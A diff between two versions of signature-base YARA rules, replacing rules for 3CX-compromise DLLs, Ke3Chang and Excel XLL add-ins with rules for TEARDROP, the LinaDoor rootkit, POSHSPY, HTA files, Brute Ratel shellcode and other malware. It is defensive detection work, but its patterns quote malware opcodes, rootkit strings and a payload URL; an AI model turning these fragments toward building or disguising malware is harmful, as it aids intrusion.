+		$sb1 = { C7 44 24 ?? 80 00 00 00 [0-64] BA 00 00 00 80 [0-32] 48 8D 0D [4-32] FF 15 [4] 48 83 F8 FF [2-64] 41 B8 40 00 00 00 [0-64] FF 15 [4-5] 85 C0 7? ?? 80 3D [4] FF }
+		$sb2 = { 80 3D [4] D8 [2-32] 41 B8 04 00 00 00 [0-32] C7 44 24 ?? 4A 46 49 46 [0-32] E8 [4-5] 85 C0 [2-32] C6 05 [4] 6A C6 05 [4] 70 C6 05 [4] 65 C6 05 [4] 67 }
+		$sb3 = { BA [4] 48 89 ?? E8 [4] 41 B8 [4] 48 89 ?? 48 89 ?? E8 [4] 85 C0 7? [1-32] 8B 44 24 ?? 48 8B ?? 24 [1-16] 48 01 C8 [0-32] FF D0 }
 
 	condition:
-		filesize <500KB and all of ($header*) and all of ($title*) and 3 of ($s*) or all of ($pdb*) and all of ($header*) and 1 of ($s*)
+		all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Gen_Excel_Xll_Addin_Suspicious : FILE
+rule SIGNATURE_BASE_APT_Dropper_Win64_TEARDROP_1 : FILE
 {
 	meta:
-		description = "Detects suspicious XLL add-ins to Excel"
-		author = "@JohnLaTwC"
-		id = "013db759-ab9d-5505-933b-bda702a0941e"
-		date = "2020-10-16"
+		description = "This rule is intended match specific sequences of opcode found within TEARDROP, including those that decode the embedded payload. TEARDROP is a memory only dropper that can read files and registry keys, XOR decode an embedded payload, and load the payload into memory. TEARDROP persists as a Windows service and has been observed dropping Cobalt Strike BEACON into memory. (comment by Nextron: prone to False Positives)"
+		author = "FireEye"
+		id = "15dfdb74-5ca3-5bc6-be7a-730333b03ba5"
+		date = "2020-12-14"
 		modified = "2023-12-05"
-		reference = "https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_excel_xll_addin_suspicious.yar#L3-L64"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d8c3f00ef05b0b84e4c4d655d01eab6f6e67714619695fd1433726e5a940e530"
-		score = 65
+		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_solarwinds_sunburst.yar#L157-L174"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a1fa9b9c700601d10cb77ec714b972f04308de615dfc519f680fc956227cc11d"
+		score = 70
 		quality = 85
 		tags = "FILE"
-		hash1 = "0bad4e4bc5093dcfc2737c4d8be89d6f093509a7b91a1e022050cb890d90e4e0"
-		hash2 = "133e47eedfede46d1a4529ce7f047e09521ed8c7cad2e49d3522064695bd6c43"
-		hash3 = "1994a39d5639b4eea5c3cdf084a8eacf8610a96702e580d88a6ec18887d0ec6b"
-		hash4 = "28f45d01e397841fcba48da1e61e4927f42ff6fe6f32595c23cf9a953cd2658a"
-		hash5 = "54c3598cf22ad64faeb4e0f9f70e026a1ae834a8c06e5187bf289bb3ee43a8ec"
-		hash6 = "5644a04513744edfb247d0ea83e3e2f7d616d6752cfd1af50e866bb0270131ee"
-		hash7 = "836c0d21fc3ea3a8ce1a493097a5034d110e5c50bfd7e6c3dcb674dc7a6a19ec"
-		hash8 = "b926f7db36bc5bae73091c783b0715d2af051de22a579548adf2498cb1a1d075"
-		hash9 = "6ba100a5da5efea14a5ca929628b732a6e6b8ab8f78167db35343e895997ce52"
-		hasha = "ee603cbd6187850334ae5d8adcf029d5cde710fc966b2b7a2c95249d3b23d693"
-		hashb = "99195679e998407fd4d606a0d956bda99f79625b638c63f90d9d399c6f2a143e"
-		hashc = "99534c7086128998ae39967fe5fc6bf526cb2ba5d3b2e99dc7bd03833e4a94ae"
 
 	strings:
-		$s1 = "CryptStringToBinaryA"
-		$s2 = "NtQueueApcThread"
-		$cs1 = "dsrole.dll"
-		$cs2 = "user32.dll"
-		$debug = "SeDebugPrivilege"
+		$loc_4218FE24A5 = { 48 89 C8 45 0F B6 4C 0A 30 }
+		$loc_4218FE36CA = { 48 C1 E0 04 83 C3 01 48 01 E8 8B 48 28 8B 50 30 44 8B 40 2C 48 01 F1 4C 01 FA }
+		$loc_4218FE2747 = { C6 05 ?? ?? ?? ?? 6A C6 05 ?? ?? ?? ?? 70 C6 05 ?? ?? ?? ?? 65 C6 05 ?? ?? ?? ?? 67 }
+		$loc_5551D725A0 = { 48 89 C8 45 0F B6 4C 0A 30 48 89 CE 44 89 CF 48 F7 E3 48 C1 EA 05 48 8D 04 92 48 8D 04 42 48 C1 E0 04 48 29 C6 }
+		$loc_5551D726F6 = { 53 4F 46 54 57 41 52 45 ?? ?? ?? ?? 66 74 5C 43 ?? ?? ?? ?? 00 }
 
 	condition:
-		filesize <1MB and uint16(0)==0x5a4d and pe.characteristics&pe.DLL and pe.exports("xlAutoOpen") and (((pe.imports("KERNEL32.dll","LookupPrivilegeValueW") or pe.imports("KERNEL32.dll","LookupPrivilegeValueA")) and pe.imports("KERNEL32.dll","AdjustTokenPrivileges") and pe.imports("KERNEL32.dll","OpenProcess") and $debug) or (pe.imports("ADVAPI32.dll","CryptDecrypt") and pe.imports("ADVAPI32.dll","CryptImportKey")) or (pe.imports("DNSAPI.dll","DnsQuery_A") or pe.imports("DNSAPI.dll","DnsQuery_W")) or ((pe.imports("KERNEL32.dll","FindResourceA") or pe.imports("KERNEL32.dll","FindResourceW")) and pe.imports("KERNEL32.dll","LoadResource") and pe.imports("KERNEL32.dll","LockResource") and (pe.imports("KERNEL32.dll","VirtualAlloc") or pe.imports("KERNEL32.dll","VirtualAllocEx")) and pe.imports("KERNEL32.dll","WriteProcessMemory") and pe.imports("KERNEL32.dll","SetThreadContext")) or (pe.imports("KERNEL32.dll","GetThreadContext") and pe.imports("KERNEL32.dll","VirtualAllocEx") and pe.imports("KERNEL32.dll","ResumeThread") and pe.imports("KERNEL32.dll","SetThreadContext")) or (pe.imports("KERNEL32.dll","WinExec")) or ( all of ($s*)) or ( all of ($cs*) and pe.imports("KERNEL32.dll","VirtualAllocEx") and pe.imports("KERNEL32.dll","TerminateProcess") and pe.imports("KERNEL32.dll","Sleep")))
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_APT_KE3CHANG_TMPFILE : APT KE3CHANG TMPFILE FILE
+rule SIGNATURE_BASE_MAL_LNX_Linadoor_Rootkit_May22 : FILE
 {
 	meta:
-		description = "Detects Strings left in TMP Files created by K3CHANG Backdoor Ketrican"
-		author = "Markus Neis, Swisscom"
-		id = "84d411af-ea3d-5862-8c2f-7caca60c1b66"
-		date = "2020-06-18"
-		modified = "2023-12-05"
-		reference = "https://app.any.run/tasks/a96f4f9d-c27d-490b-b5d3-e3be0a1c93e9/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ke3chang.yar#L1-L21"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "75c97fe2eeb82e09f52e98d76bd529824f171da4c802b5febc1036314d8145f0"
-		score = 75
+		description = "Detects LinaDoor Linux Rootkit"
+		author = "Florian Roth"
+		id = "e2f250b4-9a8a-5d70-83d7-5d12ad3763fb"
+		date = "2022-05-19"
+		modified = "2023-05-16"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lnx_linadoor_rootkit.yar#L2-L37"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "546c34d4c204c7266884bb3b5b6ada418e83029ab88f72e5ffb094f50d9ed28e"
+		score = 85
 		quality = 85
-		tags = "APT, KE3CHANG, TMPFILE, FILE"
-		hash1 = "4ef11e84d5203c0c425d1a76d4bf579883d40577c2e781cdccc2cc4c8a8d346f"
+		tags = "FILE"
+		hash1 = "25ff1efe36eb15f8e19411886217d4c9ec30b42dca072b1bf22f041a04049cd9"
+		hash2 = "4792e22d4c9996af1cb58ed54fee921a7a9fdd19f7a5e7f268b6793cdd1ab4e7"
+		hash3 = "9067230a0be61347c0cf5c676580fc4f7c8580fc87c932078ad0c3f425300fb7"
+		hash4 = "940b79dc25d1988dabd643e879d18e5e47e25d0bb61c1f382f9c7a6c545bfcff"
+		hash5 = "a1df5b7e4181c8c1c39de976bbf6601a91cde23134deda25703bc6d9cb499044"
+		hash6 = "c4eea99658cd82d48aaddaec4781ce0c893de42b33376b6c60a949008a3efb27"
+		hash7 = "c5651add0c7db3bbfe0bbffe4eafe9cd5aa254d99be7e3404a2054d6e07d20e7"
 
 	strings:
-		$pps1 = "PSParentPath             : Microsoft.PowerShell.Core\\Registry::HKEY_CURRENT_USE" fullword ascii
-		$pps2 = "PSPath                   : Microsoft.PowerShell.Core\\Registry::HKEY_CURRENT_USE" fullword ascii
-		$psp1 = ": Microsoft.PowerShell.Core\\Registry" ascii
-		$s4 = "PSChildName  : PhishingFilter" fullword ascii
-		$s1 = "DisableFirstRunCustomize : 2" fullword ascii
-		$s7 = "PSChildName  : 3" fullword ascii
-		$s8 = "2500         : 3" fullword ascii
+		$s1 = "/dev/net/.../rootkit_/" ascii
+		$s2 = "did_exec" ascii fullword
+		$s3 = "rh_reserved_tp_target" ascii fullword
+		$s4 = "HIDDEN_SERVICES" ascii fullword
+		$s5 = "bypass_udp_ports" ascii fullword
+		$s6 = "DoBypassIP" ascii fullword
+		$op1 = { 74 2a 4c 89 ef e8 00 00 00 00 48 89 da 4c 29 e2 48 01 c2 31 c0 4c 39 f2 }
+		$op2 = { e8 00 00 00 00 48 89 da 4c 29 e2 48 01 c2 31 c0 4c 39 f2 48 0f 46 c3 5b }
+		$op3 = { 48 89 c3 74 2a 4c 89 ef e8 00 00 00 00 48 89 da 4c 29 e2 48 01 c2 31 c0 }
+		$op4 = { 4c 29 e2 48 01 c2 31 c0 4c 39 f2 48 0f 46 c3 5b 41 5c 41 5d }
+		$fp1 = "/wgsyncdaemon.pid"
 
 	condition:
-		uint16(0)==0x5350 and filesize <1KB and $psp1 and 1 of ($pps*) and 1 of ($s*)
+		uint16(0)==0x457f and filesize <2000KB and 2 of them and not 1 of ($fp*) or 4 of them
 }
-rule SIGNATURE_BASE_APT_MAL_Ke3Chang_Ketrican_Jun20_1 : FILE
+rule SIGNATURE_BASE_POSHSPY_Malware
 {
 	meta:
-		description = "Detects Ketrican malware"
+		description = "Detects"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ccd8322e-c822-512a-9ac5-eabc9d09640b"
-		date = "2020-06-18"
+		id = "7e908efc-0023-5be1-9871-8bfbf8b9e53a"
+		date = "2017-07-15"
 		modified = "2023-12-05"
-		reference = "BfV Cyber-Brief Nr. 01/2020"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ke3chang.yar#L23-L42"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a2806de18432dbab24f08c7c2863fd694c91192cf7df4388dfeb87b237f22257"
+		reference = "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_poshspy.yar#L11-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e1f8b502950d2f7600041b5492f529682b9f5f2863c36ad40618b5ed78a94567"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "02ea0bc17875ab403c05b50205389065283c59e01de55e68cee4cf340ecea046"
-		hash2 = "f3efa600b2fa1c3c85f904a300fec56104d2caaabbb39a50a28f60e0fdb1df39"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
-	strings:
-		$xc1 = { 00 59 89 85 D4 FB FF FF 8B 85 D4 FB FF FF 89 45
-               FC 68 E0 58 40 00 8F 45 FC E9 }
-		$op1 = { 6a 53 58 66 89 85 24 ff ff ff 6a 79 58 66 89 85 }
-		$op2 = { 8d 45 bc 50 53 53 6a 1c 8d 85 10 ff ff ff 50 ff }
+	strings:
+		$x1 = "function sWP($cN, $pN, $aK, $aI)" fullword ascii
+		$x2 = "$aeK = [byte[]] (0x69, 0x87, 0x0b, 0xf2" ascii
+		$x3 = "(('variant', 'excretions', 'accumulators', 'winslow', 'whistleable', 'len',"
+		$x4 = "$cPairKey = \"BwIAAACkAABSU0EyAAQAAAEAA"
+		$x5 = "$exeRes = exePldRoutine"
+		$x6 = "ZgB1AG4AYwB0AGkAbwBuACAAcAB1AHIAZgBDAHIA"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and 1 of ($x*) or 2 of them
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_MAL_NK_3CX_Malicious_Samples_Mar23_1 : FILE
+rule SIGNATURE_BASE_HTA_With_Wscript_Shell
 {
 	meta:
-		description = "Detects malicious DLLs related to 3CX compromise"
-		author = "X__Junior, Florian Roth (Nextron Systems)"
-		id = "a6ea3299-fde5-5206-b5db-eb3a3f5944d9"
-		date = "2023-03-29"
-		modified = "2023-04-20"
-		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_3cx_compromise_mar23.yar#L3-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "68f4007791d365900c84e32e076aa3cac9f3a9ed46de297f1005306554ee13f5"
-		score = 85
+		description = "Detects WScript Shell in HTA"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2faf74b1-c19c-53f0-ad08-be9caf5640bc"
+		date = "2017-06-21"
+		modified = "2023-12-05"
+		reference = "https://twitter.com/msftmmpc/status/877396932758560768"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_hta_anomalies.yar#L11-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7ce2728fbd3023a6b96291cdb63f30dc9b71e5fc506f8b00ad97e3062b103478"
+		score = 80
 		quality = 85
-		tags = "FILE"
-		hash1 = "7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896"
-		hash2 = "c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02"
-		hash3 = "cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ca7b653cf41e980c44311b2cd701ed666f8c1dbc"
 
 	strings:
-		$opa1 = { 4C 89 F1 4C 89 EA 41 B8 40 00 00 00 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 4C 89 F0 FF 15 ?? ?? ?? ?? 4C 8D 4C 24 ?? 45 8B 01 4C 89 F1 4C 89 EA FF 15 }
-		$opa2 = { 48 C7 44 24 ?? 00 00 00 00 4C 8D 7C 24 ?? 48 89 F9 48 89 C2 41 89 E8 4D 89 F9 FF 15 ?? ?? ?? ?? 41 83 3F 00 0F 84 ?? ?? ?? ?? 0F B7 03 3D 4D 5A 00 00}
-		$opa3 = { 41 80 7C 00 ?? FE 75 ?? 41 80 7C 00 ?? ED 75 ?? 41 80 7C 00 ?? FA 75 ?? 41 80 3C 00 CE}
-		$opa4 = { 44 0F B6 CD 46 8A 8C 0C ?? ?? ?? ?? 45 30 0C 0E 48 FF C1}
-		$opb1 = { 41 B8 40 00 00 00 49 8B D5 49 8B CC FF 15 ?? ?? ?? ?? 85 C0 74 ?? 41 FF D4 44 8B 45 ?? 4C 8D 4D ?? 49 8B D5 49 8B CC FF 15 }
-		$opb2 = { 44 8B C3 48 89 44 24 ?? 48 8B 5C 24 ?? 4C 8D 4D ?? 48 8B CB 48 89 74 24 ?? 48 8B D0 4C 8B F8 FF 15 }
-		$opb3 = { 80 78 ?? FE 75 ?? 80 78 ?? ED 75 ?? 80 38 FA 75 ?? 80 78 ?? CE }
-		$opb4 = { 49 63 C1 44 0F B6 44 05 ?? 44 88 5C 05 ?? 44 88 02 0F B6 54 05 ?? 49 03 D0 0F B6 C2 0F B6 54 05 ?? 41 30 12}
+		$s1 = "<hta:application windowstate=\"minimize\"/>"
+		$s2 = "<script>var b=new ActiveXObject(\"WScript.Shell\");" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <5MB and pe.characteristics&pe.DLL and (2 of ($opa*) or 2 of ($opb*))
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_MAL_NK_3CX_Malicious_Samples_Mar23_2 : FILE
+rule SIGNATURE_BASE_HTA_Embedded
 {
 	meta:
-		description = "Detects malicious DLLs related to 3CX compromise (decrypted payload)"
+		description = "Detects an embedded HTA file"
 		author = "Florian Roth (Nextron Systems)"
-		id = "bf3597ff-d62b-5d21-9c9b-e46e685284cf"
-		date = "2023-03-29"
+		id = "04d4c718-9dd6-5528-8712-61c9f2a16139"
+		date = "2017-06-21"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/dan__mayer/status/1641170769194672128?s=20"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_3cx_compromise_mar23.yar#L32-L54"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dec8310c1f5b304a755737a0005bb33b1762f21ed380b2b98b0f5427948ab930"
-		score = 80
-		quality = 60
-		tags = "FILE"
-		hash1 = "aa4e398b3bd8645016d8090ffc77d15f926a8e69258642191deb4e68688ff973"
+		reference = "https://twitter.com/msftmmpc/status/877396932758560768"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_hta_anomalies.yar#L28-L42"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "843f0ad5e39e5492db8ff7372f6d2038e7dbb7823ec9b33f863ab891a108b1ec"
+		score = 50
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ca7b653cf41e980c44311b2cd701ed666f8c1dbc"
 
 	strings:
-		$s1 = "raw.githubusercontent.com/IconStorages/images/main/icon%d.ico" wide fullword
-		$s2 = "https://raw.githubusercontent.com/IconStorages" wide fullword
-		$s3 = "icon%d.ico" wide fullword
-		$s4 = "__tutmc" ascii fullword
-		$op1 = { 2d ee a1 00 00 c5 fa e6 f5 e9 40 fe ff ff 0f 1f 44 00 00 75 2e c5 fb 10 0d 46 a0 00 00 44 8b 05 7f a2 00 00 e8 0a 0e 00 00 }
-		$op4 = { 4c 8d 5c 24 71 0f 57 c0 48 89 44 24 60 89 44 24 68 41 b9 15 cd 5b 07 0f 11 44 24 70 b8 b1 68 de 3a 41 ba a4 7b 93 02 }
-		$op5 = { f7 f3 03 d5 69 ca e8 03 00 00 ff 15 c9 0a 02 00 48 8d 44 24 30 45 33 c0 4c 8d 4c 24 38 48 89 44 24 20 }
+		$s1 = "<hta:application windowstate=\"minimize\"/>"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <900KB and 3 of them or 5 of them
+		$s1 and not $s1 in (0..50000)
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_MAL_NK_3CX_Malicious_Samples_Mar23_3
+rule SIGNATURE_BASE_Brc4_Shellcode
 {
 	meta:
-		description = "Detects malicious DLLs related to 3CX compromise (decrypted payload)"
-		author = "Florian Roth , X__Junior (Nextron Systems)"
-		id = "d2d361b6-8485-57eb-b6eb-88785f42e93e"
-		date = "2023-03-29"
+		description = "Hunts for shellcode opcode used in Badger x86/x64 till release v1.2.9"
+		author = "@ninjaparanoid"
+		id = "7e899d2f-332b-53f7-b9e6-cfde2bce6223"
+		date = "2022-11-19"
 		modified = "2023-12-05"
-		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_3cx_compromise_mar23.yar#L56-L79"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "adfe04904d796690631e5841ee1ee10c767f9f4c340e5b9df78918e981359d4d"
-		score = 80
-		quality = 85
+		reference = "https://github.com/paranoidninja/Brute-Ratel-C4-Community-Kit/blob/main/deprecated/brc4.yara"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/hktl_bruteratel_c4.yar#L263-L290"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a2816eb0316cebc96569847c17eae3bc50b988b07aa471176a09695fcefc21ec"
+		score = 75
+		quality = 83
 		tags = ""
-		hash1 = "aa4e398b3bd8645016d8090ffc77d15f926a8e69258642191deb4e68688ff973"
+		version = "last version"
+		arch_context = "x64"
 
 	strings:
-		$opa1 = { 41 81 C0 ?? ?? ?? ?? 02 C8 49 C1 E9 ?? 41 88 4B ?? 4D 03 D1 8B C8 45 8B CA C1 E1 ?? 33 C1 41 69 D0 ?? ?? ?? ?? 8B C8 C1 E9 ?? 33 C1 8B C8 C1 E1 ?? 81 C2 ?? ?? ?? ?? 33 C1 43 8D 0C 02 02 C8 49 C1 EA ?? 41 88 0B 8B C8 C1 E1 ?? 33 C1 44 69 C2 ?? ?? ?? ?? 8B C8 C1 E9 ?? 33 C1 8B C8 C1 E1 ?? 41 81 C0 }
-		$opa2 = { 8B C8 41 69 D1 ?? ?? ?? ?? C1 E1 ?? 33 C1 45 8B CA 8B C8 C1 E9 ?? 33 C1 81 C2 ?? ?? ?? ?? 8B C8 C1 E1 ?? 33 C1 41 8B C8 4C 0F AF CF 44 69 C2 ?? ?? ?? ?? 4C 03 C9 45 8B D1 4C 0F AF D7}
-		$opb1 = { 45 33 C9 48 89 6C 24 ?? 48 8D 44 24 ?? 48 89 6C 24 ?? 8B D3 48 89 B4 24 ?? ?? ?? ?? 48 89 44 24 ?? 45 8D 41 ?? FF 15 }
-		$opb2 = { 44 8B 0F 45 8B C6 48 8B 4D ?? 49 8B D7 44 89 64 24 ?? 48 89 7C 24 ?? 44 89 4C 24 ?? 4C 8D 4D ?? 48 89 44 24 ?? 44 89 64 24 ?? 4C 89 64 24 ?? FF 15}
-		$opb3 = { 48 FF C2 66 44 39 2C 56 75 ?? 4C 8D 4C 24 ?? 45 33 C0 48 8B CE FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 44 0F B7 44 24 ?? 33 F6 48 8B 54 24 ?? 45 33 C9 48 8B 0B 48 89 74 24 ?? 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? 48 89 74 24 ?? FF 15 }
-		$opb4 = { 33 C0 48 8D 6B ?? 4C 8D 4C 24 ?? 89 44 24 ?? BA ?? ?? ?? ?? 48 89 44 24 ?? 48 8B CD 89 44 24 ?? 44 8D 40 ?? 8B F8 FF 15}
+		$shellcode_x64_Start = { 55 50 53 51 52 56 57 41 50 41 51 41 52 41 53 41 54 41 55 41 56 41 57 }
+		$shellcode_x64_End = { 5B 5E 5F 41 5C 41 5D 41 5E 41 5F 5D C3 }
+		$shellcode_x64_StageEnd = { 5C 41 5F 41 5E 41 5D 41 5C 41 5B 41 5A 41 59 41 58 5F 5E 5A 59 5B 58 5D C3 }
+		$funcHash1 = { 5B BC 4A 6A }
+		$funcHash2 = { 5D 68 FA 3C }
+		$funcHash3 = { AA FC 0D 7C }
+		$funcHash4 = { 8E 4E 0E EC }
+		$funcHash5 = { B8 12 DA 00 }
+		$funcHash6 = { 07 C4 4C E5 }
+		$funcHash7 = { BD CA 3B D3 }
+		$funcHash8 = { 89 4D 39 8C }
+		$hashFuncx64 = { EB 20 0F 1F 44 00 00 44 0F B6 C8 4C 89 DA 41 83 E9 20 4D 63 C1 4B 8D 04 10 49 39 CB 74 21 49 83 C3 01 41 89 C2 }
+		$hashFuncx86 = { EB 07 8D 74 26 00 83 C2 01 0F B6 31 C1 C8 0D 89 F1 8D 5C 30 E0 01 F0 80 F9 61 89 D1 0F 43 C3 39 D7 75 E3 }
 
 	condition:
-		( all of ($opa*)) or (1 of ($opa*) and 1 of ($opb*)) or (3 of ($opb*))
+		(pe.machine==pe.MACHINE_AMD64 and (2 of ($shellcode*) or all of ($funcHash*) and $hashFuncx64)) or (pe.machine==pe.MACHINE_I386 and ( all of ($funcHash*) and $hashFuncx86))
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_APT_MAL_NK_3CX_Malicious_Samples_Mar23_1
+rule SIGNATURE_BASE_HKTL_Venom_LIB_Dec22 : FILE
 {
 	meta:
-		description = "Detects marker found in malicious DLLs related to 3CX compromise"
-		author = "X__Junior, Florian Roth (Nextron Systems)"
-		id = "9fc6eb94-d02f-5bcd-9f55-b6c6a8301b4f"
-		date = "2023-03-29"
-		modified = "2023-04-20"
-		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_3cx_compromise_mar23.yar#L81-L98"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dcce1f5e769a2821d746a960cd333f8042fb71c8469aa41c29bbbd0dce79369c"
+		description = "Detects Venom - a library that meant to perform evasive communication using stolen browser socket"
+		author = "Ido Veltzman, Florian Roth"
+		id = "b13b8a9c-52a4-53ac-817e-9f729fbf17c2"
+		date = "2022-12-17"
+		modified = "2023-12-05"
+		reference = "https://github.com/Idov31/Venom"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_hktl_venom_lib.yar#L2-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fa143946479a45b272d507c3aa2b17026bfdcbb4abefd833f95ff78537568ec1"
 		score = 75
 		quality = 85
-		tags = ""
-		hash1 = "7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896"
-		hash2 = "c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02"
-		hash3 = "cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2"
+		tags = "FILE"
 
 	strings:
-		$opx1 = { 41 80 7C 00 FD FE 75 ?? 41 80 7C 00 FE ED 75 ?? 41 80 7C 00 FF FA 75 ?? 41 80 3C 00 CE }
-		$opx2 = { 80 78 ?? FE 75 ?? 80 78 ?? ED 75 ?? 80 38 FA 75 ?? 80 78 ?? CE }
+		$x1 = "[ + ] Created detached hidden msedge process: " fullword ascii
+		$ss1 = "WS2_32.dll" fullword ascii
+		$ss2 = "WSASocketW" fullword ascii
+		$ss3 = "WSADuplicateSocketW" fullword ascii
+		$ss5 = "\\Device\\Afd" wide fullword
+		$sx1 = "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe --no-startup-window" fullword wide
+		$sx2 = "[ + ] Data sent!" fullword ascii
+		$sx3 = "[ + ] Socket obtained!" fullword ascii
+		$op1 = { 4c 8b f0 48 3b c1 48 b8 ff ff ff ff ff ff ff 7f }
+		$op2 = { 48 8b cf e8 1c 34 00 00 48 8b 5c 24 30 48 8b c7 }
+		$op3 = { 48 8b da 48 8b f9 45 33 f6 48 85 c9 0f 84 34 01 }
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <500KB and ((3 of ($ss*) and all of ($op*)) or 2 of ($sx*)) or $x1 or all of ($sx*)
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_SUSP_NK_3CX_RC4_Key_Mar23_1 : FILE
+rule SIGNATURE_BASE_Agent_BTZ_Proxy_DLL_1 : FILE
 {
 	meta:
-		description = "Detects RC4 key used in 3CX binaries known to be malicious"
+		description = "Detects Agent-BTZ Proxy DLL - activeds.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "18ea2185-11a1-51ad-a51a-df9e6357bb58"
-		date = "2023-03-29"
+		id = "f8032616-2a54-5107-b330-65fcc84b866e"
+		date = "2017-08-07"
 		modified = "2023-12-05"
-		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
